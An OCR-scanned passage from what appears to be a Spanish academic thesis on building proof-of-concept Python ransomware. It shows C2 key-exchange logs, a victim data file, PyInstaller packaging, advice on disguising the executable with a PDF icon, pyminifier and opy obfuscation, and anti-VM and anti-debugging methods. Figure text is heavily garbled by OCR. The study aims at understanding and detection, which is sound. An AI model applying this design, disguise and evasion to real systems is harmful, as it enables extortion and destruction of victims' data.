a través de sockets y a través de una conexion segura SSH, por medio del protocolo

SCP. Aunque también podria emplearse el protocolo SFTP, permitiendo éste una
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variedad de operaciones en ficheros remotos, no se ha implementado porque el tnico

objetivo era la transferencia de archivos, finalidad cubierta por SCP.

La victima finalmente es notificada de diversas maneras a través de una nota de
rescate, pudiendo darse el caso de encontrarse en un fichero de texto en cada carpeta
que ha sido afectada por el software malicioso o a través de la apertura de una pagina
HTML creada en el escritorio o en la carpeta de usuario, siendo este tltimo método el

elegido por ser el mas actual.

Para restaurar el equipo, una vez se ha comprobado el pago del rescate, el atacante
envia un fichero ejecutable a la victima, que una vez reproducido se conectara con el
servidor para recuperar la clave e IV tnicas de cada sistema y revertira todo el proceso
(ilustracién 19), dejando a la maquina victima en su estado original. Se ha codificado
para que un solo ejecutable pueda descifrar todos los equipos, recuperando sus
credenciales para cada identificador desde la base de datos, aunque en un escenario real
solo se incluirian las claves de uno en particular por motivos obvios, o se solicitaria la

clave, como sucede en el ejecutable de la siguiente prueba de concepto.

SALIDA C b TERMINAL

clave enviada: 2765dadcbaefb51ea48928ee49c4539963d410ef70203c2fdefa54828d878819
iv enviado: b64e93eabaedc00B8e4259c44c918f7ba
Con on finalizada

Conectado a: ('192.168.10.4', 48872)

1 # 1c781f51f94b480ac461027db0cd7eb2
Funcion: 1

Conexion finalizada

Conectado a: ('192.168.10.4', 48874)

2 # 1c781f511f94b480ac461027db0cd7eb2
Funcion: 2

clave:

IV: b64e93eabaedcO0Bed4259c44c918f7ba
Conexidén finalizada

[lustracion 19: Intercambio de mensajes durante el descifrado
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4.1.2. Tipo 2 - Auténomo (standalone)

Este modelo requiere menor despliegue por parte del atacante, quien podria distribuir el
software malicioso y esperar comunicacién a través de correo electréonico o redes
sociales con las victimas interesadas en recuperar su informacién, sin mantener ninguna
maquina en linea que tenga que procesar informacién (Ilustracién 20). No requiere el
contacto con un servidor de mando y control (C2) para realizar las acciones maliciosas,
por lo que podria utilizarse en equipos sin acceso a Internet, ademas de ser un punto a
favor para evadir su deteccién, ya que muchas soluciones de proteccién se basan en

detectar conexiones a determinadas direcciones IP.

111
Victima Ciberdelincuente

ENCRIPTAR

| Genera clave para encriptar |

| Encripta el sistema |

|Cifra fichero con RSA con datos del sistema y clave |

[ Envia fichero cifrado con RSA

| Notifica a la victima

DESENCRIPTAR

Realiza el pago vy solicita la clave por email

| Descifra el fichero de datos con la clave

Entrega herramienta para descifrar y clave |

Desencripta y limpia el sistema |

11
Victima Ciberdelincuente

Ilustracion 20: Diagrama de funcionamiento de la prueba de concepto Tipo 2
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Para ponerlo en funcionamiento se han generado cuatro ficheros ejecutables, uno seria
el ransomware propiamente dicho, encargado de infectar los equipos, ademas del fichero
que los descifra, revirtiendo la situacion, mientras que por la parte del atacante se ha
generado un ejecutable que pone en marcha al servidor encargado de recibir las claves

de cifrado (ilustraciéon 21), y una Wltima aplicacion capaz de recorrer,

TERMINAL

Iniciando el servidor

Iniciando registro log

EL servidor se ha iniciado correctamente
Puerto a la espera: 6666

Conectado a: ('192.168.10.4', 48890)

Victima: edef2e4bcOc 404ba5d9b“25923p499b - conexidn realizada en: 2022-05-27 17:14:37.731710
Victima: ed . 32592 ichero de datos recibido

Victima: ed 4bc Beb - Conexidn finalizada en: 2022-05-27 17:14:37.733323

Ilustracién 21: Recepcion del fichero de claves de una victima

dentro del servidor del atacante, el directorio de ficheros recibidos por las victimas, y
aplicando la clave privada de una infraestructura PKI, descifrarlos y mantenerlos con

texto en claro (ilustracién 22).

user@serverl:

Tlustracién 22: Descifrado del fichero de claves de las victimas
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El software malicioso se ejecutaria en la maquina objetivo mediante uno de los vectores

de ataque existentes.

Diferencias con respecto al primer modelo:

Puede prescindir de utilizar servidores en linea, aunque en el desarrollo del
codigo se sigue utilizando uno para recibir un fichero que contiene la clave
simétrica de cifrado, junto con otros datos del sistema y una lista de todos los
ficheros que han sido encriptados (ilustracién 23). De esta manera se tiene
conocimiento de la magnitud del ataque alcanzada, nimero de victimas,
ficheros encriptados.. En caso de prescindir del servidor, el fichero con la clave
puede recibirse por correo electréonico automaticamente por defecto, o
suministrarse por la victima en tltima estancia si estd interesada en recuperar la
informacion. Este fichero se cifra con el algoritmo RSA, utilizando la clave
publica del atacante para posteriormente descifrarse con su clave privada desde

la maquina del ciberdelincuente.

Utiliza la libreria Cryptography de Python en lugar de crypto para encriptar

todos los ficheros, mediante el método Fernet.

La clave de cifrado la genera el equipo de la victima, no el servidor.

Se utiliza una infraestructura PKI, algoritmo RSA, cifrando con la clave
publica el fichero de datos generado, mientras que solo el atacante estard en
posesion de la clave privada y por lo tanto sélo él puede recuperar la clave
Fernet para descifrar los ficheros del sistema y poder entregarla previo pago del

rescate.
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edef2e4bc0c2404b a5d9b32 5923e48eb

1(lave cifrado: ESF2GLMHTWEGLBjEptl4XqcyNjDwhor7yxZwUnAfrEQ=
2 Hostname: tfg-VirtualBox

3 Usuario del Sistema: tfg

4 IP Local: 192.168.10.4

5IP Pablica: 79.116.134.95

6 Sistema Operativo: Linux

7 Release: 5.13.0-41-generic

8 Version: #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022
9 Maquina: x86_64

10 Procesador: x86_64

11 Release de versidn Win32:

12 Version de versidén Win32:

13 csd level - service pack de versién Win32:

14 ptype - tipo de procesador de versién Win32:

15 Edicion Win32: None

16 Java - Release:

17 Java - Vendor:

18 Java - vmminfo - vmname:

19 Java - vminfo - vmrelease:

20 Java - vminfo - vmvendor:

21 Java - osinfo - osname:

22 Java - osinfo - osversion:

23 Java - osinfo - osarch:

24 Python build: ('default', 'Mar 15 2022 12:22:08')
25 Python version: 3.8.10

26 Python compiler: GCC 9.4.0

27 LISTADO DE FICHEROS ENCRIPTADOS:

28 /home/tfg/Documentos/Sin titulo 1 antivirus 2.odt
29 /home/tfg/Documentos/Screenshot_44_02.png

30 /home/tfg/Documentos/Sin titulo 1 antivirus.odt
31 /home/tfg/Documentos/virustotal.odt

[lustracién 23: Contenido del fichero de datos recibido por una victima

La geolocalizacion de la IP piublica se resuelve en este caso en el equipo de la

victima.

Para descifrar los ficheros del sistema se ha desarrollado una pequena aplicacion
con una interfaz grafica simple usando la libreria Tkinter de Python, donde
poder introducir o pegar (ilustraciéon 24) desde el portapapeles la clave
suministrada por el atacante y revertir el proceso de cifrado, restaurando el

sistema a su origen previo a la infeccion.

En caso de no utilizar servidor para recibir el fichero con la clave, serd la propia

victima quien lo envie por correo electronico al atacante, si esta operaciéon no la

realiza el software, siguiendo las instrucciones de la nota de rescate.
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laves.pnag. execute. handler. hashdump. imagenes ImagenesK  Imagene
ansomTFG png. png. png. tFg.odt. ali.zip. ali2.zig
ransomTFG ransomTFG ransomTFG ransomTFG ransomTFG ransomT

Descifrador RansomTFG

ersisteng : Screenst

IRegistro Introduzca la clave de descifrado 16_10.p

ng.rans.. ransomT
XSMOMrIn8KDybWwpbrrWmMBIiBLJzGcouw5akaHoFTMA:

creensho - : shellter

37 29.pn Descifrar Pegar Salir ong.

ansomTF ransomT

Se ha pegado la clave desde el portapapeles

intitulo2. Sintitulo4. Sintitulo 5. Sin titulo Sin titulo Sin titulo texto.tx

[ustracion 24: Pegando la clave desde el portapapeles para descifrar

4.2. Generando ficheros ejecutables

Existen dos aplicaciones destacadas encargadas de empaquetar y generar ficheros
ejecutables a partir de codigo fuente Python: Py2exe y Pylnstaller. Para realizar este

trabajo se ha elegido PylInstaller por su extensa documentacion y opciones disponibles.

4.2.1. Py2exe

Es una extensién de la libreria distutils, ya obsoleta (deprecated) y sustituida por
setuptools [57]. En su tltima versién (py2exe 0.11.1.0) ya soporta el uso de setuptools.
Permite crear, a partir de scripts en Python, ficheros auténomos ejecutables para
Windows en versiones de 32 y 64 bits y en modo consola o modo GUI (Graphical User
Interface). Tiene licencia dual MPL2 (Mozilla Public License 2) y MIT, dependiendo

del componente.
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4.2.2. Pylnstaller

Empaqueta en una carpeta o fichero auténomo el intérprete de Python y todos los
modulos necesarios y dependencias para el funcionamiento de la aplicacién. Soporta
desde Python 3.7 en adelante [58]. Es multiplataforma pero con la desventaja de que
para que un ejecutable funcione en un determinado sistema operativo, el fichero debe
ser generado en dicho sistema operativo. Es decir, si se quiere un ejecutable para

Windows, hay que instalar la herramienta en Windows para crear el fichero.

Se distribuye bajo un sistema de licenciamiento dual, con GPL 2.0 y Apache 2.0

dependiendo del componente.

Dispone de multitud de opciones de configuracion, entre ellas la posibilidad de utilizar
compresion sobre ficheros ejecutables y modulos empleando la utilidad UPX,
disminuyendo el tamano del fichero resultante. Si UPX no se encuentra disponible se
mostrarda el mensaje informando de ello durante el procesamiento del comando.
Requerira la instalacion del paquete. la libreria UPX tiene licencia GPL. Si la libreria

estd instalada se utiliza la compresién por defecto (ilustracion 25).

: $ pyinstaller --onefile --clean ransomTFG.py
: PyInstaller: 4.10
: Python: 3.8.10

: Platform: Linux-5.13.0-40-generic-x86_64-with-glibc2.29
: wrote /home/tfg/Ejecutable/ransomTFG.spec
: UPX is available.

MNustracion 25: Generando fichero ejecutable con compresion UPX

Otra caracteristica interesante es el cifrado de los ficheros bytecode que se integran en

o8



el ejecutable usando internamente el médulo tinyaes, aplicando una contrasena de 16

caracteres.

También podria anadirse un icono al fichero resultante con el parametro -i, lo que seria
de utilidad para el atacante para simular que se trata de un fichero legitimo de
cualquier indole; un icono pdf no haria sospechar a un usuario medio de estar tratando
con software malicioso. Como Windows por defecto oculta las extensiones de
aplicaciones conocidas no veria la extension real. Una practica recomendable es mostrar
todas las extensiones para evitar caer en el engano, aunque esto no impediria que usase
cualquier icono de aplicacion ejecutable conocida, y obteniéndose el ransomware de
fuentes no fiables, descargas de webs maliciosas, redes p2p, correos fraudulentos..
simulando ser un ejecutable legitimo de wuna aplicacién determinada, se caeria

facilmente en la trampa.

Para crear el ejecutable utilizamos el intérprete de comandos llamando a la aplicacion
con los parametros deseados. En este caso se quiere el empaquetado en un solo fichero
(-F --onefile) y que elimine archivos temporales generados en la dltima llamada

(--clean).

$ pyinstaller --onefile --clean ransomTFG.py

Esto dard como resultado una serie de carpetas y ficheros necesarios (ilustracion 26).

La carpeta “build” contendra ficheros relacionados con la creacién del ejecutable y la

13 2

carpeta pycaché almacena un fichero bytecode. Por tltimo crea un fichero de
especificaciones con extension .spec, que podra modificarse parametrizando las opciones

disponibles para una posterior ejecucién. El ejecutable se encontrard en la carpeta
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“dist”. En el caso que nos ocupa, la creacion de los ficheros ejecutables se realizara

sobre ficheros de codigo fuente con toda la ofuscacién previamente aplicada.

S ls -1la

total 52
14:33
14:26
14:33
14:33
14:33
- TWXTWX- - - 20:57
-TW-TW-T-- _14:33 ransomTFG.spec

[lustracion 26: Estructura de ficheros creada al ejecutar Pylnstaller

Otra opcién mas amigable para generar los ejecutables con Pylnstaller es utilizar la
herramienta auto-py-to-exe, una interfaz grafica de usuario desplegada en el navegador

web que facilita el trabajo. Distribuida bajo licencia MIT (ilustracién 27) [59].

SR . _

c O localhost:43543 index.htm| s [

il I.I;O
@& Auto Py to Exe Help Post Ne

Lenguage. | Cnglish v

Script Location
l_-'nome.'t‘g."p-,'unstfIIer-'rs nsom | FG.py
Onefile e —cosme

Console Window i—ccasale (~winsoweal
Consobke Based

lcon icen

Additional Files s

Advanced

General Options
name o [yaLur

—upz-dir | VALLE Srawise tar bolder

[ustracion 27: Auto Py to Exe

60



5. Ingenieria inversa

Para identificar todo tipo de malware, los investigadores de seguridad hacen uso de la
ingenieria inversa con el objetivo de desactivar esas nuevas amenazas que van
apareciendo. Los grupos cibercriminales ponen mucho esfuerzo en realizar sus
desarrollos y para que todo marche correctamente también es importante que desde el

otro bando no puedan desbaratarle los planes.

En este capitulo se exploran técnicas que utilizan los ciberdelincuentes para dificultar el
uso de la ingenieria inversa y evitar la deteccién de ficheros ejecutables como
maliciosos. Conociendo las medidas implementadas por parte del atacante puede
aplicarse la ingenieria inversa para revertir el proceso y conocer mas acerca de las

acciones que realiza el malware.
La ingenieria inversa sobre un binario sospechoso se puede descomponer en dos fases:

* Analisis estatico: Se realizan escaneres para detectar una posible malignidad ya
conocida mediante antivirus y otras aplicaciones, se intenta descifrar el codigo
fuente, estudiar si existe empaquetado, ofuscacién, compresion, librerias que se
importan y funcionamiento previsto sin llegar a ejecutar el fichero. Herramientas
como el servicio de VirusTotal, Yara y el antivirus ClamAV se prueban en este

capitulo para comprobar la deteccién. Otras utilidades a tener en cuenta
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utilizadas por la comunidad para este tipo de andlisis son Ghidra, PEStudio,

PEiD o Dependency Walker.

* Analisis dinamico: Se ejecuta el fichero en un entorno controlado con una serie
de herramientas pasivas que monitorizan el comportamiento de los procesos, si
existe inyeccion de codigo en ellos, se analiza la actividad de la red para
comprobar conexiones remotas, la actividad sobre el registro (creacion,
eliminacion o acceso a claves), la actividad sobre el sistema de ficheros (creacién,
acceso, modificacion o eliminacién de ficheros). Se pueden utilizar herramientas
del paquete Sysinternals de Microsoft como System Explorer y System Monitor,
junto con depuradores (debuggers) de cédigo ensamblador como x64dbg o
OllyDbg para analizar codigo binario, dandonos una vision de qué es
exactamente lo que ocurre en tiempo de ejecucién. Los ciberdelincuentes
intentaran evitar el uso de la ingenieria inversa sobre sus creaciones mediante
técnicas anti-vi, técnicas anti-debugging y dificultando el desensamblado y el

descompilado mediante ofuscacion, compresion y otras técnicas.

5.1. Técnicas anti-maquina-virtual (anti-vm)

Los investigadores relacionados con la seguridad informatica realizan su trabajo sobre
entornos controlados que habitualmente estan basados en el uso de maquinas virtuales
por su funcionalidad. Posibilitan tener un estado de inicio al que retornar una vez se
han realizado andlisis dindmicos sobre cualquier software malicioso. Este conocimiento
lo utilizan los ciberdelincuentes para aplicar técnicas a sus creaciones que eviten la
posibilidad de realizar estos analisis, impidiendo asi la ingenieria inversa y protegiendo

sus desarrollos para seguir siendo funcionales y prolongar la vida til del malware.
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Si el software detecta que se estd ejecutando sobre una maquina virtual no realiza
ninguna operacion y termina su procesamiento, por lo que el analista no podria sacar

nada en claro en este andlisis dindmico. Para ello se emplean varias técnicas [60]:

* Consulta de CPU: Los hipervisores (hypervisor) o monitores de maquinas
virtuales (VMM) pueden identificarse mediante una consulta a CPUID, una
instruccion de la arquitectura de la CPU. Si el resultado coincide con los
modelos utilizados por los hipervisores es indicativo que se esta dentro de una
maquina virtual. Puede evitarse esta deteccion cambiando parametros de

configuracion de cada maquina virtual utilizada.

*  (Consulta de direcciones MAC: Los proveedores de maquinas virtuales permiten
utilizar tarjetas de red virtualizadas. Conociendo las MAC que suelen usarse en
cada uno de ellos, donde una parte de la direccién se reserva para el proveedor,
se realizan consultas como wmic nic list para enumerar las tarjetas disponibles y
localizar si se estan utilizando tarjetas virtualizadas y por tanto saber que se
encuentra en una maquina virtual. Modificando estas direcciones MAC podria

solucionarse.

* Busqueda de procesos: Consultando los procesos del sistema en ejecucion pueden

localizarse algunos comunes que identifican estar bajo una maquina virtual.

* Busqueda de claves de registro: El registro de Windows también mantiene claves

que identifican estar sobre una mdaquina virtual. Consultar el registro para
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detectar estas claves permite conocer si se esta ejecutando en una maquina

virtual.

* Busqueda de ficheros: Existen ficheros en el equipo que estan relacionados con el
uso de maquinas virtuales, como algunas librerias compartidas (ficheros dll).
Localizarlos es indicativo que el sistema estd montado sobre una maquina

virtual.

5.2. Técnicas anti-depuracién (anti-debugging)

Los depuradores son imprescindibles para los desarrolladores de aplicaciones, que los
usan para el fin por el que fueron creados, aunque también son utilizados para la
ingenieria inversa. Un ciberdelincuente emplea este tipo de software para buscar
vulnerabilidades en el codigo de una aplicacion legitima, romper el licenciamiento,

realizar modificaciones...

En el campo del malware se utilizan técnicas para dificultar a los analistas de seguridad
el uso de estos depuradores sobre los binarios maliciosos. Si se detecta que un
depurador es el que ha lanzado el proceso, el malware no realiza ninguna accién y

termina su ejecucion.

Métodos clasicos y de poca complejidad se basan en la API de Windows, utilizando
funciones como IsDebuggerPresent o CheckRemoteDebuggerPresent, que resultan faciles
de eludir por parte de los analistas. Otros métodos utilizan consultas a unas

determinadas banderas (flags), se apoyan en el tratamiento de excepciones o calculan el

64



tiempo estimado de ejecucion de instrucciones para detectar si un depurador

(debugger) esté presente [61].

Existen unas estructuras de datos localizadas en una seccién de memoria denominada
PEB (Process Environment Block) que contienen informacién acerca de las variables de
entorno, moédulos cargados por el proceso, direcciones en memoria, y donde poder

consultar si existe depuracién sobre el proceso [62].

En resumen, si el analista comprueba el codigo desensamblado y ve ciertas direcciones
de memoria e instrucciones relacionadas con el PEB puede tener la certeza de que el
malware estudiado utiliza este tipo de técnicas, que también pueden sortearse aplicando

ciertas soluciones. No se va a profundizar mas en este tipo de técnicas por su extension.

5.3. Ofuscando

Se trata de aplicar técnicas al codigo fuente, codigo intermedio (bytecodes) o cddigo
méquina (cuando la aplicacién se encuentra compilada o en formato binario) para
tratar de ocultar su funcionamiento, dificultando el anélisis mediante ingenieria inversa

para acercarse al c6digo fuente original [63].

En caso de aplicar ofuscacién a software malicioso, lo que se pretende es dificultar la
ingenieria inversa estatica, que no sea facil dar con las partes del cddigo esenciales a
partir del andlisis de ejecutables sospechosos, poder alertar de una posible malignidad y

buscar posibles soluciones a un hipotético dano causado.

Por otro lado, las firmas estaticas utilizadas por los antivirus para detectar este tipo de

software se basan en secuencias de bytes especificas en el binario, por lo que las
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técnicas de ofuscacion comprometen la deteccion, permaneciendo el malware en la

clandestinidad hasta que aparece en escena y llega a identificarse [64].

Las técnicas empleadas mas resenables son:

* Técnicas de ofuscacion del diseno: Utilizadas en lenguajes orientados a objetos,
como unién o division de clases y tipos ocultos, usados para oscurecer el

funcionamiento del programa.

e Técnicas de ofuscacién de datos: Son las mas comunes, se aplican numerosas
transformaciones a todos los elementos que componen el cédigo, variables,
constantes, funciones; cambios en la codificacion, separaciéon de variables,
generaciéon de nuevos identificadores, caracteres en lenguajes no latinos... el

resultado es un cédigo ilegible.

* Técnicas de ofuscacion de flujo de control: Se basan en alterar el flujo de
ejecucion del programa, anadiendo cddigo sin funcionalidad, cambiando saltos
condicionales por bloques de codigo, sustituyendo llamadas a un método por el
cddigo del mismo... estas técnicas pueden dificultar enormemente la labor del

analista.

* Técnicas de ofuscacion de instrucciones: Sustituyen instrucciones originales por

otras funcionalmente similares pero de mayor complejidad.

* Técnicas de ofuscacion de layout: Oscurecen y alteran la estructura léxica con el

renombrado de variables, eliminando informacién del depurador.. suelen

complementar a técnicas de ofuscacion de datos.
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* Técnicas de ofuscacion con virtualizacion de codigo: Se reemplazan instrucciones
del programa por instrucciones virtuales menos conocidas, siendo traducidas a
cddigo de la maquina nativa en tiempo de ejecucién. Una de las técnicas mas
utilizadas es la ofuscacion por méaquinas virtuales de proceso, donde un proceso
virtual se encarga de la traduccion del cédigo virtual en codigo maquina. Un

ejemplo de maquina virtual de proceso seria Java.

Siendo Python un lenguaje interpretado, el compilador generara cdédigo intermedio
(bytecodes) sensible también a la ingenierfa inversa. Las técnicas de ofuscacién
intervendran de igual manera, provocando que los descompiladores generen codigo

ilegible o dificil de interpretar.

Existen muchas aplicaciones o librerias especificas para cada lenguaje de programacion
que llevan a cabo este cometido; este trabajo se centra en Python. Se han probado
herramientas de software libre como pyminifier, opy o pyobfuscate. Otras existentes son
pyconcrete, Intensio-Obfuscator, OBFAU3 (Autoit-Obfuscator). Como soluciones

comerciales se citan pyarmor, oxyry o cryptolens.

5.3.1. Pyminifier

Se basa en técnicas de layout y técnicas de ofuscacion de datos. Software bajo licencia
GPL 3.0 [65]. Se puede configurar el nivel de alcance sobre el codigo utilizando
determinados parametros. Entre ellos podemos elegir ofuscar independientemente o en

su conjunto:

* variables definidas por el usuario.
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* funciones definidas por el usuario e importadas de otros médulos.

* builtins: Son una serie de funciones y tipos, junto con un pequeno numero de
constantes incorporadas, incluidas en el intérprete de Python y que residen en el
espacio de nombres de primer nivel, estando siempre disponibles sin necesidad
de importar ningin médulo. Algunos ejemplos son open(), str(), len(), True,

False, None...

* librerias y métodos importados.

En la practica, una vez realizado el procedimiento suelen aparecer errores, por lo que es
conveniente ir ofuscando el coédigo por partes en lugar de forzar una ofuscacién
completa. Un ejemplo podria apreciarse cuando aplicamos este método en las pruebas

de concepto implementadas:

Se generan errores que con detenimiento se pueden solventar y continuar con la
ofuscacion del resto del codigo. Con el siguiente comando obtenemos el cédigo ofuscado

al completo (pardametro -O --obfuscate):

$ pyminifier -O --replacement-length=20 -0 ransomOFUS.py ransomTFG.py

Se aprecia un error en la ofuscaciéon de variables, senalados en las ilustraciones 28 y 29,
al no convertir CA_STRING por su nuevo identificador, por lo que se ha de sustituir
para solucionar el error, siendo esto posible ya que conocemos donde se asigna esta
variable, justo una linea por encima, donde encontraremos el nuevo identificador que

ha de intercambiarse en la ocurrencia de CA_ STRING.
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cLhDgIPbJGHA 6 CA STRING: Any
‘pokclhDgIPbJGHA ()
«cLhDgIPbJGHAX . check hostname=stvYpokclhDgIP
LhDgIPbIGH:! BEGIN C IF
gIFbJGHAX \ ti

"CA_STRING" is not defined

[ustracion 29: Ejemplo de errores en ofuscacion - Codigo ofuscado

Otro ejemplo donde aparece un error ocurre en la ofuscaciéon de la importaciéon de
moédulos (ilustracién 30). En este caso el error se muestra cuando intentamos ejecutar
el cbédigo, durante la compilacion a bytecode. El médulo webbroser hace uso del método
open(), que ha sido ofuscado; esto no ocurre en otros métodos, que no llegan a

modificarse. El intérprete no lo reconoce y falla la compilacién.

¢LhDgIPbJGHwx=requests.ge*
i stvYpokcLhDgIPbJGHwT : Any

1 or
stvYpokelhDgIPbIGHWChwebb .stvYpokclhDgIPbIGHw
C binascii

stvYpokclhDgIPbJGHwe=binascii.hexlify

[ustracion 30: Ejemplo de errores en ofuscacion - Ofuscacion método webbrowser.open

la cadena open (ilustracion 31) se utiliza en otras partes del codigo, como por ejemplo
para abrir un fichero. En este caso no genera errores por ser una funcién built-in, el
compilador de bytecode lo reconoce, no siendo asi en la importaciéon del modulo

webbrowser.
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[ustracion 31: Ejemplo de errores en ofuscacion - Sustitucion cadena open

Para solucionarlo se modifica la linea de cédigo intercambiando la cadena por el literal
open (ilustracion 32). Es por ello que resulta mas adecuada una ofuscacion por partes
para ir corrigiendo posibles incidencias en lugar de usar el pardmetro -O (--obfuscate),
que daria lugar a una ofuscacién completa y mas compleja a la hora de resolver ciertos
errores.

L LUKEI IIgx

(function) open: (url: str, new: int ..., autoraise: bool = ...)
Display url using the default browser.
IF possible, open urlin a location determined by new.

ow (the default).

"). If possible, autoraise raises the window (the default) or not.

[ustracién 32: Ejemplo de errores en ofuscacion - Solucién webbrowser.open

Otro apunte a tener en cuenta es el uso del parametro --replacement-length, que toma
por defecto el valor 1. Indica la longitud de los nombres aleatorios creados para ocultar
los identificadores. Hay que evitar elevarlo a mas de 50 caracteres, generando errores y
un funcionamiento inesperado. Un término medio es méas aceptable. Si por ejemplo se

define en 20 caracteres, el codigo resultara bastante ilegible (ilustracién 33).

Si se quiere revertir el proceso y aplicar la ingenieria inversa, siendo algo muy tedioso,
habria que comenzar desde el inicio del codigo e ir sustituyendo cada una de las
asignaciones, recorriendo todo el desarrollo, con especial atencién de no cometer errores
en ello, para ir desvelando el resto del cédigo. Con identificadores de 20 caracteres

resulta mas sencillo no cometer errores puesto que es mas complicado encontrar
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coincidencias de esos identificadores que no hayan de ser intercambiados por el valor de
la asignacion principal. En contra de lo que parece a simple vista, a mayor longitud de

los identificadores mas sencilla resulta la tarea, pudiendo ser algo trivial.

Qs1DbKncPEj ( ivo: 0 { gN,mtvQs1DbKncPEjal ou:mtvQs1DbKncPEjz2
bKncPEj

oN.join(mty

ite(a+

[ustracion 33: Ofuscaciéon con identificadores de 20 caracteres de longitud

Si se define la longitud por defecto con un solo caracter, el cédigo aparentemente se
muestra mas legible, pero en realidad desvelar el texto en claro supone mayor sacrificio
y un andlisis més profundo de qué es lo que se estd haciendo, se necesita mayor
precision y mas agudeza por parte del analista. El mismo fragmento de cédigo pero con

una longitud de 1 en lugar de 20 caracteres se muestra en la ilustracion 34.

Si se comienza con el procedimiento de revelacion del cédigo ofuscado, se aprecia que
realizar una bisqueda de una variable, como ejemplo la de valor ofuscado ‘Q’ (Q=1)
para sustituir el cédigo en las coincidencias, 232 en este caso (ilustracién 35), es
impracticable por el alto nimero de colisiones; en este escenario la suspicacia y
conocimiento del analista es primordial, ;donde se ha de intercambiar QQ por el valor 17

JJa @Q encontrada forma parte de una cadena codificada en Base64? ;o es una
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variable?... Debido al alto ntiimero de identificadores ofuscados y de la longitud del

texto se convierte en una ardua tarea, aunque posible de resolver.

[ustracién 34: Ofuscacién con identificadores de 1 caracter de longitud

[lustracién 35: Ocurrencias del identificador ofuscado Q

Un paso mas a la hora de dificultar el trabajo consistiria en aplicar el parametro
--nonlatin que usaria caracteres non-latin (unicode) para la ofuscacion (ilustracion 36).
Este parametro solo estd disponible para versiones de Python 3 en adelante. El
resultado para quien no conozca estas lenguas se asemeja mas a un jeroglifico, pero no

debe intimidar al forense que atin con mucho trabajo puede desvelar el c6digo original.
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Tlustracion 36: Ofuscacién con caracteres non-latin

Llegados a este punto ni el editor de cédigo fuente puede reconocer la gramética de los
scripts, los errores de sintaxis son ya mayoria e insalvables (ilustracion 37), pero la
generacion del fichero ejecutable con el cogido ofuscado y su posterior lanzamiento dan

un resultado satisfactorio.

10 1
o . .

11l il O O G i
o
11 ]

[ustracién 37: Errores de sintaxis del codigo ofuscado

Y una ultima capa de ofuscacién usando esta aplicacién consiste en anadir compresion
al codigo, existiendo varias alternativas: --bzip2, --gzip y --lzma funcionan para scripts
auténomos (standalone), generando un script de Python autoejecutable comprimiendo
el codigo con el estandar indicado. Por otro lado se ofrece el pardametro --pyz, que
comprime en zip todos los moédulos pasados como parametros creando un solo fichero

con extension .pyz
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El inconveniente de utilizar este método es que la compresion se aplica a la salida
generada por el comando pyminifier, por lo que si existen errores al aplicar la
ofuscacion, como ya se ha explicado anteriormente, el resultado no sera valido, no
podremos modificarlo por estar comprimido y su ejecuciéon no sera satisfactoria. Una
alternativa seria implementar manualmente el cdédigo para comprimir el fichero
deseado; si se analiza el médulo compression.py del paquete pyminifier, se conocen las
librerias utilizadas para cada tipo de compresion y el cédigo del procedimiento, por lo

que puede desarrollarse la funcionalidad con esta informacién.

Como ejemplo, en la ilustracién 38 se muestra el cdédigo para comprimir en gzip y
generar el script autoejecutable, utilizando la libreria zlib y codificacién base64. El
parametro --bzip2 usa la libreria bz2, y --lzma se apoya en la libreria lzma. Por tltimo,

la opcién --pyz importa la libreria zipfile.

Se puede generar la cadena codificada en base64 y comprimida, equivalente al cédigo

ofuscado, con un script que implemente la misma funcionalidad (ilustracién 39).

El resultado del fichero ofuscado y comprimido por pyminifier aparece en la ilustracion
40. Para desvelar el coédigo por ingenieria inversa hay que revertir todo el proceso. Si el
forense o analista de seguridad encuentra estas instrucciones en un fichero ejecutable
una vez descompilado y desensamblado, puede suponer que se ha utilizado pyminifier,
como ocurre en otros tipos de software malicioso que lo han empleado en sus
componentes, como por ejemplo es el caso del malware Machete, que hace uso de

pyobfuscate y pyminifier [67].
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78 def gz_pack(source):

79 e

80 Returns 'source' as a gzip-compressed, self-extracting python script.
8l

82 .. hote::

83

84 This method uses up more space than the zip_pack method but it has the
85 advantage in that the resulting .py file can still be imported into a
86 python program.

87 e

88 I import zlib, base64|

89 out = ""

%@ # Preserve shebangs (don't care about encodings for this)

91 first_line = source.split('\n')[@]

92 if analyze.shebang.match(first_line):

93 if py3:

94 if first_line.rstrip().endswith('python'): # Make it python3
95 first_line = first_line.rstrip()

96 first_line += '3' #!/usr/bin/env python3

97 out = first_line + '\n'

98 compressed_source = zlib.compress(source.encode('utf-8'))

99 out += 'import zlib, base&4\n'

100 out += "exec(zlib.decompress(baseé4.béd4decode("'"

181 out += baseb4.bbdencode(compressed_source).decode('utf-8")

102 out += "")))\n"

183 return out

Tustracién 38: Cédigo de Pyminifier para comprimir en gzip [66]

fichero = open('ra

mB. py '

codigo = fichero.read()

codigoBin = codigo.enco

comprimido
cadenaMostrada =

cadenaComprimida

codigoEjecutable = zlib.de

odigoEjecutable)

[lustracion 39: Operaciones para comprimir y codificar fichero de cédigo fuente

codigoBin)
.bBdencode(comprimido) .decode( 'ut
.bedde

denaMostrada)

compress (cadenaComprimida)
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MNustracion 40: Cédigo fuente comprimido y codificado en Base64

A partir de aqui se aplica la ingenieria inversa, primero descodificando el codigo Base64

y descomprimiendo con la libreria adecuada, revirtiendo los pasos del procedimiento.

5.3.2. Opy

Utiliza un fichero de configuracién que posibilita la parametrizacion, donde declarar por
ejemplo los moédulos que utiliza el script, evitando errores por ofuscacién de las
instrucciones para la importacién de moddulos. Se basa en técnicas de ofuscacion de
datos y de layout, con intercambio de cadenas de literales, generando un codigo
ilegible. Emplea caracteres unicode de lenguas no latinas, anade una cabecera con mas
codigo (ilustracion 41) y modifica el nimero de lineas (ofuscacién de layout). Al
contrario que pyminifier, esta herramienta ofusca los comentarios en lugar de
eliminarlos. Revertir la ofuscacién presenta mayor reto. Hay operaciones no reversibles
que ya no permiten obtener el texto original, aunque podria analizarse el
funcionamiento del script o buscar fragmentos con funciones esenciales. Software bajo

Licencia Apache 2.0 [68].
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1111111111 opy (1111111111 opy ):

global 1111111111 opy

1111111111 opy_ = ord (1111111111 _opy_ [-11])

1111111111 opy = 1111111111 opy -1]

1111111111 o = 1111111111 opy len (1111111111 opy )

L111111111 opy 1111111111 _opy_ [:1111111111 _opy_ ] + 1111111111 opy [L111I11111 opy :]
if 1111111111 opy :

1111111111 op unicode () .join {[unichr (ord (char) - 1111111111 opy - (1111111111
+ 1111111111 opy L L11111 opy ) for 1111111111 opy , char in enumerate (1111111111 opy )
1)

